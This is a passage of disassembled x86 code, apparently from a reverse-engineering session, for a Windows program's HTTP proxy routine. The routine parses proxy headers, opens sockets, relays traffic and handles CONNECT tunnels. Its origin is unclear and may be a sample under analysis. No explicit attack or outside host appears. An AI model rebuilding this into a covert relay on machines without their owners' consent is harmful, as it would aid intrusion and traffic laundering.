		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 8
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 9
		call	sub_4017E4
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_180]
		mov	byte ptr [esp+1Ch+arg_5480], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_258]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_240]
		push	1
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+20h+arg_1B0]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 0Ah
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch+arg_1B0]
		mov	[esp+1Ch+arg_EC], eax
		mov	byte ptr [esp+1Ch+arg_5480], 0Ah
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_240]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		mov	eax, [esp+1Ch+arg_EC]
		test	eax, eax
		jnz	short loc_42866A
		mov	[esp+1Ch+arg_EC], 50h


loc_42866A:				; CODE XREF: sub_4282C0+1B0j
					; sub_4282C0+1FCj ...
		push	offset asc_443600 ; " "
		lea	edx, [esp+20h+arg_28]
		push	0
		push	edx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_28]
		mov	byte ptr [esp+20h+arg_5480], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_40]
		push	2
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_40]
		mov	byte ptr [esp+20h+arg_5480], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_4292DD
		lea	ecx, [esp+1Ch+arg_AD]
		push	ecx
		lea	ecx, [esp+20h+arg_68]
		call	sub_4014C9
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_478]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+1Ch+arg_4478]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+1Ch+arg_5480], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+1Ch+arg_4478]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_445230 ; "\r\n"


loc_428731:				; CODE XREF: sub_4282C0+48Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428755
		test	cl, cl
		jz	short loc_428751
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428755
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428731


loc_428751:				; CODE XREF: sub_4282C0+47Bj
		xor	eax, eax
		jmp	short loc_428759
; ---------------------------------------------------------------------------


loc_428755:				; CODE XREF: sub_4282C0+477j
					; sub_4282C0+485j
		sbb	eax, eax
		sbb	eax, ebx


loc_428759:				; CODE XREF: sub_4282C0+493j
		test	eax, eax
		jz	loc_428833
		mov	edi, dword_50FACC


loc_428767:				; CODE XREF: sub_4282C0+56Dj
		mov	esi, offset byte_446F70
		lea	eax, [esp+1Ch+arg_4478]


loc_428773:				; CODE XREF: sub_4282C0+4D1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428797
		test	cl, cl
		jz	short loc_428793
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428797
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428773


loc_428793:				; CODE XREF: sub_4282C0+4BDj
		xor	eax, eax
		jmp	short loc_42879B
; ---------------------------------------------------------------------------


loc_428797:				; CODE XREF: sub_4282C0+4B9j
					; sub_4282C0+4C7j
		sbb	eax, eax
		sbb	eax, ebx


loc_42879B:				; CODE XREF: sub_4282C0+4D5j
		test	eax, eax
		jz	loc_428833
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_4478]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429339
		lea	edx, [esp+1Ch+arg_4478]
		push	4000h
		lea	eax, [esp+20h+arg_478]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+2Ch+arg_478]
		push	offset asc_445230 ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+1Ch+arg_4478]


loc_428803:				; CODE XREF: sub_4282C0+561j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428827
		test	cl, cl
		jz	short loc_428823
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428827
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428803


loc_428823:				; CODE XREF: sub_4282C0+54Dj
		xor	eax, eax
		jmp	short loc_42882B
; ---------------------------------------------------------------------------


loc_428827:				; CODE XREF: sub_4282C0+549j
					; sub_4282C0+557j
		sbb	eax, eax
		sbb	eax, ebx


loc_42882B:				; CODE XREF: sub_4282C0+565j
		test	eax, eax
		jnz	loc_428767


loc_428833:				; CODE XREF: sub_4282C0+49Bj
					; sub_4282C0+4DDj
		mov	esi, dword_50FAF8
		lea	eax, [esp+1Ch+arg_478]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		push	offset asc_443C94 ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_428887
		cmp	byte ptr [eax],	20h
		jnz	short loc_42886B


loc_428862:				; CODE XREF: sub_4282C0+5A9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_428862


loc_42886B:				; CODE XREF: sub_4282C0+5A0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		test	eax, eax
		jz	short loc_428887
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_42888E
; ---------------------------------------------------------------------------


loc_428887:				; CODE XREF: sub_4282C0+58Dj
					; sub_4282C0+59Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_42888E:				; CODE XREF: sub_4282C0+5C5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_428926
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42940D
		mov	edx, [esp+28h+arg_E0]
		xor	ecx, ecx
		mov	[esp+28h+arg_4C], ecx
		push	edx
		mov	[esp+2Ch+arg_50], ecx
		mov	word ptr [esp+2Ch+arg_4C], 2
		mov	[esp+2Ch+arg_54], ecx
		mov	[esp+2Ch+arg_58], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+2Ch+arg_9D]
		mov	[esp+2Ch+arg_4A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+2Ch+arg_4C], eax
		jz	loc_42934B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+2Ch+arg_48]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_4293A8


loc_428926:				; CODE XREF: sub_4282C0+5D4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_428FCE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_428971
		lea	edx, [esp+38h+arg_45C]
		lea	ecx, [esp+38h+arg_24]
		push	edx
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+48h+var_24]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_4289A4
; ---------------------------------------------------------------------------


loc_428971:				; CODE XREF: sub_4282C0+67Aj
		lea	ecx, [esp+38h+arg_45C]
		push	ecx
		lea	ecx, [esp+3Ch+arg_24]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+40h+arg_D4]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h+arg_C]
		call	sub_4017E4
		push	eax
		lea	edx, [esp+48h+var_24]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_4289A4:				; CODE XREF: sub_4282C0+6AFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_4293F2
		cmp	eax, ebx
		jz	loc_4293F2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+4Ch+arg_44C]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42941F
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+48h+arg_44C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+4Ch+arg_44C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+4Ch+arg_44C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		xor	ebx, ebx
		mov	esi, offset asc_445230 ; "\r\n"
		mov	[esp+58h+var_2C], ebx
		lea	eax, [esp+58h+arg_43C]


loc_428A6E:				; CODE XREF: sub_4282C0+7CCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428A92
		test	cl, cl
		jz	short loc_428A8E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428A92
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428A6E


loc_428A8E:				; CODE XREF: sub_4282C0+7B8j
		xor	eax, eax
		jmp	short loc_428A97
; ---------------------------------------------------------------------------


loc_428A92:				; CODE XREF: sub_4282C0+7B4j
					; sub_4282C0+7C2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428A97:				; CODE XREF: sub_4282C0+7D0j
		test	eax, eax
		jz	loc_428E19


loc_428A9F:				; CODE XREF: sub_4282C0+B48j
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428AAB:				; CODE XREF: sub_4282C0+80Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		test	cl, cl
		jz	short loc_428ACF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428AD3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428AAB


loc_428ACF:				; CODE XREF: sub_4282C0+7F7j
		xor	eax, eax
		jmp	short loc_428AD8
; ---------------------------------------------------------------------------


loc_428AD3:				; CODE XREF: sub_4282C0+7F3j
					; sub_4282C0+803j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428AD8:				; CODE XREF: sub_4282C0+811j
		test	eax, eax
		jz	loc_428E15
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+5Ch+arg_43C]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_428E10
		lea	edx, [esp+58h+arg_43C]
		lea	ecx, [esp+58h+arg_44]
		push	edx
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_1A4]
		push	0
		push	eax
		lea	ecx, [esp+64h+arg_44]
		mov	[esp+64h+arg_5444], 0Fh
		call	sub_4016AE
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 10h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_1A4]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428BBA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_E4]
		push	1
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+58h+arg_5444], 11h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+58h+arg_E4]
		mov	[esp+58h+var_2C], eax
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428BBA:				; CODE XREF: sub_4282C0+8ACj
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_FC]
		push	0
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 12h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_FC]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428C49
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch+arg_12C]
		push	1
		push	eax
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 13h
		call	sub_401500
		lea	ecx, [esp+58h+arg_12C]
		mov	[esp+58h+arg_5444], 0Fh
		call	sub_401226


loc_428C49:				; CODE XREF: sub_4282C0+944j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+5Ch+arg_15C]
		push	0
		push	ecx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 14h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_15C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428CE4
		push	offset asc_443600 ; " "
		lea	edx, [esp+5Ch+arg_18C]
		push	1
		push	edx
		lea	ecx, [esp+64h+arg_44]
		call	sub_4016AE
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	[esp+5Ch+arg_5444], 15h
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+58h+arg_18C]
		mov	[esp+58h+arg_5444], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	[esp+58h+var_47]


loc_428CE4:				; CODE XREF: sub_4282C0+9D3j
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+58h+arg_43C]


loc_428CF0:				; CODE XREF: sub_4282C0+A52j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		test	cl, cl
		jz	short loc_428D14
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428CF0


loc_428D14:				; CODE XREF: sub_4282C0+A3Cj
		xor	eax, eax
		jmp	short loc_428D1D
; ---------------------------------------------------------------------------


loc_428D18:				; CODE XREF: sub_4282C0+A38j
					; sub_4282C0+A48j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D1D:				; CODE XREF: sub_4282C0+A56j
		test	eax, eax
		jz	loc_428DB9
		mov	esi, offset byte_446F70
		lea	eax, [esp+58h+arg_43C]


loc_428D31:				; CODE XREF: sub_4282C0+A93j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		test	cl, cl
		jz	short loc_428D55
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428D59
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428D31


loc_428D55:				; CODE XREF: sub_4282C0+A7Dj
		xor	eax, eax
		jmp	short loc_428D5E
; ---------------------------------------------------------------------------


loc_428D59:				; CODE XREF: sub_4282C0+A79j
					; sub_4282C0+A89j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428D5E:				; CODE XREF: sub_4282C0+A97j
		test	eax, eax
		jz	short loc_428DB9
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+58h+arg_43C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+5Ch+arg_43C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+5Ch+arg_43C]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_428DB9:				; CODE XREF: sub_4282C0+A5Fj
					; sub_4282C0+AA0j
		lea	ecx, [esp+68h+arg_34]
		mov	[esp+68h+arg_5434], 0Eh
		call	sub_401226
		mov	esi, offset asc_445230 ; "\r\n"
		lea	eax, [esp+68h+arg_42C]


loc_428DD9:				; CODE XREF: sub_4282C0+B3Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		test	cl, cl
		jz	short loc_428DFD
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_428E01
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428DD9


loc_428DFD:				; CODE XREF: sub_4282C0+B25j
		xor	eax, eax
		jmp	short loc_428E06
; ---------------------------------------------------------------------------


loc_428E01:				; CODE XREF: sub_4282C0+B21j
					; sub_4282C0+B31j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E06:				; CODE XREF: sub_4282C0+B3Fj
		test	eax, eax
		jnz	loc_428A9F
		jmp	short loc_428E15
; ---------------------------------------------------------------------------


loc_428E10:				; CODE XREF: sub_4282C0+840j
		mov	[esp+58h+var_46], 1


loc_428E15:				; CODE XREF: sub_4282C0+81Aj
					; sub_4282C0+B4Ej
		mov	ebx, [esp+58h+var_2C]


loc_428E19:				; CODE XREF: sub_4282C0+7D9j
		mov	al, [esp+58h+var_47]
		push	0
		test	al, al
		jz	short loc_428E41
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_428E5D
; ---------------------------------------------------------------------------


loc_428E41:				; CODE XREF: sub_4282C0+B61j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_428E5D:				; CODE XREF: sub_4282C0+B7Fj
		call	near ptr 71AB428Ah
		nop
		mov	edi, offset asc_445230 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+68h+arg_42C]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+6Ch+arg_42C]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+70h+arg_42C]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_428F8C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_428F14


loc_428EC3:				; CODE XREF: sub_4282C0+C52j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_428F14
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+7Ch+arg_41C]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F14
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F14
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+8Ch+arg_40C]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_428EC3


loc_428F14:				; CODE XREF: sub_4282C0+C01j
					; sub_4282C0+C0Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_428F5E


loc_428F1A:				; CODE XREF: sub_4282C0+C9Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+0A0h+arg_3FC]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_428F5E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_428F5E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+0ACh+arg_3EC]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_428F1A


loc_428F5E:				; CODE XREF: sub_4282C0+C58j
					; sub_4282C0+C77j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_4291EF
		mov	ecx, [ebp+0BBh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		or	esi, 0FFFFFFFFh
		mov	[esp+0BCh+var_AA], 1
		mov	[ebp+0BBh], esi
		jmp	loc_4291F2
; ---------------------------------------------------------------------------


loc_428F8C:				; CODE XREF: sub_4282C0+BF7j
		mov	esi, dword_50FC90


loc_428F92:				; CODE XREF: sub_4282C0+D0Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+7Ch+arg_41C]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_428F5E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_428F5E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+90h+arg_40C]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_428F92
; ---------------------------------------------------------------------------


loc_428FCE:				; CODE XREF: sub_4282C0+66Cj
		lea	ecx, [esp+38h+var_24]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_429492
		cmp	eax, ebx
		jz	loc_429492
		mov	ebx, dword_50FC90
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+48h+arg_248], eax
		mov	[esp+48h+arg_244], 1
		xor	eax, eax
		lea	ecx, [esp+48h+arg_248]


loc_429040:				; CODE XREF: sub_4282C0+D8Bj
		cmp	[ecx], edx
		jz	short loc_42904D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_429040


loc_42904D:				; CODE XREF: sub_4282C0+D82j
		cmp	eax, 1
		jnz	short loc_429064
		mov	[esp+48h+arg_24C], edx
		mov	[esp+48h+arg_244], 2


loc_429064:				; CODE XREF: sub_4282C0+D90j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+48h+arg_44C]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+50h+arg_244]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+5Ch+arg_230]
		push	edx
		push	eax
		call	sub_436F60
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0B3E89051h, 837168B1h, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE6Ch, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 68B159E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 50F8D0h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 36EE890h,	333D7169h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 0FC8C3D8Bh, 6A0050h,	9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 69031BE8h, 333D9071h
		dd 75000027h, 90016A0Dh, 4070DFE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4291EF:				; CODE XREF: sub_4282C0+CA6j
		or	esi, 0FFFFFFFFh


loc_4291F2:				; CODE XREF: sub_4282C0+CC7j
		mov	al, [esp+0B8h+var_A7]
		test	al, al
		jnz	short loc_429212
		mov	edx, [ebp+0BFh]
		push	edx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi
		mov	[esp+0BCh+var_AA], 1


loc_429212:				; CODE XREF: sub_4282C0+F38j
		lea	ecx, [esp+0BCh+var_34]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Dh
		call	sub_401226
		lea	ecx, [esp+0BCh+var_5C]
		mov	byte ptr [esp+0BCh+arg_53E0], 0Ch
		call	sub_401226
		lea	ecx, [esp+0BCh+var_74]
		mov	byte ptr [esp+0BCh+arg_53E0], 2
		call	sub_401226
		lea	ecx, [esp+0BCh+var_8C]
		mov	byte ptr [esp+0BCh+arg_53E0], 1
		call	sub_401226
		lea	ecx, [esp+0BCh+var_A8]
		mov	byte ptr [esp+0BCh+arg_53E0], 0
		call	sub_401226
		lea	ecx, [esp+0BCh+var_4]
		mov	[esp+0BCh+arg_53E0], esi
		call	sub_4014B0
		or	esi, 0FFFFFFFFh


loc_429280:				; CODE XREF: sub_4282C0+EBj
		mov	al, [esp+0BCh+var_AA]
		test	al, al
		jz	loc_4282F8


loc_42928C:				; CODE XREF: sub_4282C0+1074j
					; sub_4282C0+11CDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_4292A9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_4292A9:				; CODE XREF: sub_4282C0+FD4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_4292C4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_4292C4:				; CODE XREF: sub_4282C0+FEFj
					; sub_4282C0+1255j
		mov	ecx, [esp+0C4h+arg_53D0]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_4292DD:				; CODE XREF: sub_4282C0+40Aj
		lea	ecx, [esp+1Ch+arg_40]
		mov	byte ptr [esp+1Ch+arg_5480], 0Ch
		call	sub_401226


loc_4292EE:				; CODE XREF: sub_4282C0+3D7j
		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
